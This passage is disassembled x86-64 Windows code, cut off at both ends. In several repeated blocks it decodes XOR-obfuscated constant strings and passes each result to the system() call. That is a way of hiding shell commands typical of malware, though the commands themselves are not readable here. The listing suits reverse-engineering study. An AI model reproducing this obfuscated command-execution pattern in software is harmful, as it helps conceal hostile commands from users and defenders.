movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140066550
cmp r8d, 0x2a
jge 0x140066690
movsxd rax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140066660
mov r8, r10
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 8]
call fcn.1400735b0
nop
lea rcx, [rbp + 0x630]
nop dword [rax + rax]
inc rdi
cmp byte [rcx + rdi], 0
jne 0x1400666b0
mov r8, rdi
lea rdx, [rbp + 0x630]
mov rcx, rax
call fcn.140004500
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, rsi
lea r8, [rsp + 0x20]
movzx edx, byte [rbp + 0x630]
lea rcx, [rbp + 0x1b8]
call fcn.1400736e0
lea rcx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0xf
cmova rcx, qword [rbp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0xf
jbe 0x140066767
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066762
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066762
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
movdqa xmm0, xmmword [0x1400f4a70]
movdqu xmmword [rbp + 0x1c8], xmm0
mov byte [rbp + 0x1b8], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400667bf
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400667b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400667b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d56e4
nop
lea rcx, [rbp - 8]
call fcn.140004340
nop
lea rcx, [rbp + 0x18]
call fcn.140004340
nop
lea rcx, [rsp + 0x40]
call fcn.140004340
lea rcx, [rbp - 0x58]
call fcn.14005ca60
mov rdi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x14006680e
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp - 0x38]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f2348]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [0x1400f2358]
movups xmmword [rbp - 0x78], xmm1
movsd xmm0, qword [0x1400f2368]
movsd qword [rbp - 0x68], xmm0
movzx ecx, word [0x1400f2370]
mov word [rbp - 0x60], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140066995
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140066890
cmp r8d, 0x2a
jge 0x1400669d0
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x1400669a0
mov r8, r10
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 8]
call fcn.1400735b0
nop
lea r8, [rbp + 0x630]
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.14005c980
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140073580
mov rcx, rax
call fcn.140004330
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x40]
call fcn.140004340
nop
lea rcx, [rbp + 0x18]
call fcn.140004340
nop
lea rcx, [rbp - 8]
call fcn.140004340
nop
lea rcx, [rbp - 0x38]
call fcn.140004340
nop
lea rcx, [rbp - 0x58]
call fcn.140004340
lea rcx, [rbp - 0x58]
call fcn.14005ca60
mov rdi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140066a7a
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp - 0x38]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f2678]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [0x1400f2688]
movups xmmword [rbp - 0x78], xmm1
movsd xmm0, qword [0x1400f2698]
movsd qword [rbp - 0x68], xmm0
movzx ecx, word [0x1400f26a0]
mov word [rbp - 0x60], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140066bf6
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140066af1
cmp r8d, 0x2a
jge 0x140066c40
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140066c10
mov r8, r10
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 8]
call fcn.1400735b0
nop
lea r8, [rbp + 0x630]
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.14005c980
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140073580
mov rcx, rax
call fcn.140004330
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x40]
call fcn.140004340
nop
lea rcx, [rbp + 0x18]
call fcn.140004340
nop
lea rcx, [rbp - 8]
call fcn.140004340
nop
lea rcx, [rbp - 0x38]
call fcn.140004340
nop
lea rcx, [rbp - 0x58]
call fcn.140004340
lea rcx, [rbp - 0x58]
call fcn.14005ca60
mov rdi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140066cea
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp - 0x38]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f3468]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [0x1400f3478]
movups xmmword [rbp - 0x78], xmm1
movsd xmm0, qword [0x1400f3488]
movsd qword [rbp - 0x68], xmm0
movzx ecx, word [0x1400f3490]
mov word [rbp - 0x60], cx
mov r8d, ebx
cmp r14d, 2
jl 0x140066e66
movdqa xmm5, xmmword [0x1400f4ab0]
movdqa xmm4, xmmword [0x1400f4c70]
movdqa xmm6, xmmword [0x1400f4ae0]
movdqa xmm0, xmmword [str.33333333333333337777777777777777]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f4b90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140066d61
cmp r8d, 0x2a
jge 0x140066eb0
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140066e80
mov r8, r10
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 8]
call fcn.1400735b0
nop
lea r8, [rbp + 0x630]
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.14005c980
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140073580
mov rcx, rax
call fcn.140004330
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x40]
call fcn.140004340
nop
lea rcx, [rbp + 0x18]
call fcn.140004340
nop
lea rcx, [rbp - 8]
call fcn.140004340
nop
lea rcx, [rbp - 0x38]
call fcn.140004340
nop
lea rcx, [rbp - 0x58]
call fcn.140004340
lea rcx, [rbp - 0x58]
call fcn.14005ca60
mov rdi, rax
movzx ecx, word [0x1400f1a40]
mov word [rbp + 0x630], cx
cmp byte [0x1400f1a41], 0
je 0x140066f5a
mov byte [rbp + 0x630], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp + 0x631], 0x34
lea rcx, [rbp - 0x38]
call fcn.14005ca60
mov r10, rax
movups xmm0, xmmword [0x1400f4580]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [0x1400f4590]
movups xmmword [rbp - 0x78], xmm1
movsd xmm0, qword [0x1400f45a0]
movsd qword [rbp - 0x68], xmm0
movzx ecx, word [0x1400f45a8]
mov word [rbp - 0x60], cx
mov r8d, ebx
cmp r14d, 2
jl 0x1400670d6